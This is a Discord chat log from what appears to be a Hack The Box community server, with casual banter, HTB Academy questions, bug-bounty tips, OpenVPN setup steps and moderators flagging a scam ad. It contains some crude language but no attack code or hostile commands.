One time I was high and had dinner with my family and no one other than my mom knew and my little brother was making jokes about me being high and it was the funniest thing ever kek

tame gust
#

can you regenerate brain cells

terse dirge
austere sigil
#

Brain cells are precious, don't use them

tame gust
#

no hell no

terse dirge
green kite
tame gust
#

the process of one unstupidifying themselves is part of one's evolution

#

i just said some beautiful shyt

#
austere sigil
austere sigil
#

I'm not that Batman, but close

sturdy thistle
#

mtoman

austere sigil
sturdy thistle
#

pls no

#

my discord name is @austere sinew

austere sigil
#

I knew it...

hexed ferry
#

Hi, why is there not a button to change theme in HTB academy web site?

The academy is not made to be read during office hours - during the day - as sun or just general light makes it hard to study and use the platform.

I tried adding Stylus plugin to Firefox and messing with CSS, but it is not a fix or a good solution.

night skiff
#

guys how can i unlock VC

obtuse fern
#

as far as if you'd like that to be a feature implemented: use /feedback in the discord

hexed ferry
#

I can propose a feature for that. Thanks for pointing me in the right direction!

#

For everyone, please press enter after using "/feedback" if not your long text will disappear.

scenic maple
#

to my testing it works well

coral spruce
austere sinew
#

@sturdy thistle @supple plume @cerulean bloom @meager kernel get pinged back

austere sinew
scenic maple
#

ofc there are some bugs here and there but it gets the job done somewhat

zealous charm
#

Any hacking today?

scenic maple
#

only academy

#

you?

supple plume
scenic maple
zealous charm
#

Chasing down 2 leads this morning. 1 may result in RCE

lucid escarp
#

hi

#

i have a script

#

for recon

#

and all

#

can anyone review it

#

note:- not to be used against real websites

spark mulch
#

post the github link with some context and maybe someone will look at it

scenic maple
#

i dont even know how to find leads tbh i just look around

spark mulch
#

pokin' and chokin'

lucid escarp
lucid escarp
#

this is hastebin link

#

need to finalise before uploading

#

i vibe coded it one day ago

#

it took a lot of prompts ngl

#

yo donut master

scenic maple
lucid escarp
#

yes

cerulean bloom
#

yes

scenic maple
#

then why do you care about its quality tho

austere sinew
cerulean bloom
lucid escarp
#

don't test it on real websites though

#

anyone pls

zealous charm
scenic maple
#

😩

scenic maple
#

i know you usually hunt for app bugs

#

so you would need login and stuff

#

how do you get those?

#

do you use the email that bc gives you? i have not seen a gov vdp give that yet

zealous charm
#

Some programs will give you unique emails to use, but you can always use your username

scenic maple
#

when prog ends they will just nuke it

supple plume
zealous charm
#

Doing that is actually pretty funny because eventually you will get spam mail to your @bugcrowdninja.com email

scenic maple
#

thats a very good tip

zealous charm
#

Then you can see which program sold your data

supple plume
scenic maple
supple plume
#

That guy Zinzinga is genius

zealous charm
#

been hacking, not reading since 2019

supple plume
scenic maple
#

$ for user
when he finally gets the rce from the leader it will become #

zealous charm
humble dock
#

Yo I'm a bit new, the pwnboxes aren't loading on mobile, I use Firefox, is htb just not compatible or its a problem on my side

lucid escarp
#

can anyone review this code

#

don't test on websites you don't own or are not authorised to test

#

swipy12341 i would suggest use a pc because kali in phone is difficult and download openvpn file and navigate to the location where file is saved

#

type cd (path) in command

#

then you can type ls

#

see the file

#

use openvpn

#

sudo openvpn (filename)

#

enter your kali wsl or root kali password

#

then you are connected

#

keep the tab and terminal open and open a new tab or terminal then you can run nmap or whatever on the machine you gave spawned

devout sail
#

I think i saw u asking that 3 times already πŸ’€

lucid escarp
#

yup can you review it

#

@humble dock make sure to install openvpn with sudo apt install openvpn and you can read the instructions i gave above

humble dock
#

I don't see a file for the module, its a fundemantal one

lucid escarp
#

which module

#

tell me

humble dock
#

Sysinfo for learn linux

lucid escarp
#

bro not the module you have to go to connnect at the top and download the openvpn file

#

are you a complete beginner just asking to know the module

#

i myself am beginner but still

molten bobcat
lucid escarp
#

give link of module

#

wait is it htb machine or htb academy module

humble dock
#

Acad module and I think htb might be having problems with the tag above saying issues with module completion

lucid escarp
#

oh my bad i thought it was htb labs not htb academy module

lucid escarp
#

sorry but i cant gie away my 10 cubes for reviewing it so sorry

devout sail
#

Will it work, if i apply makeup to look white

#

Can even remove some blood to look pale

silver portal
azure wasp
silver portal
#

Is there any dev now?

scenic maple
#

Advertising without prior permission is not allowed

#

Please delete the post

#

And ask an Administrator first

#

Adninistrator as in people with the red role

#

@silver portal

molten bobcat
#

Delete this

muted olive
#

dude

#

@scenic maple

#

one sec will dm instead

molten bobcat
#

"only white guys" lmaooo

#

Japanese people don't call themselves white you dumb fuck kek

azure wasp
#

Wasn’t he looking for people from the US?

molten bobcat
#

The entire profile is used for scamming

icy viper
azure wasp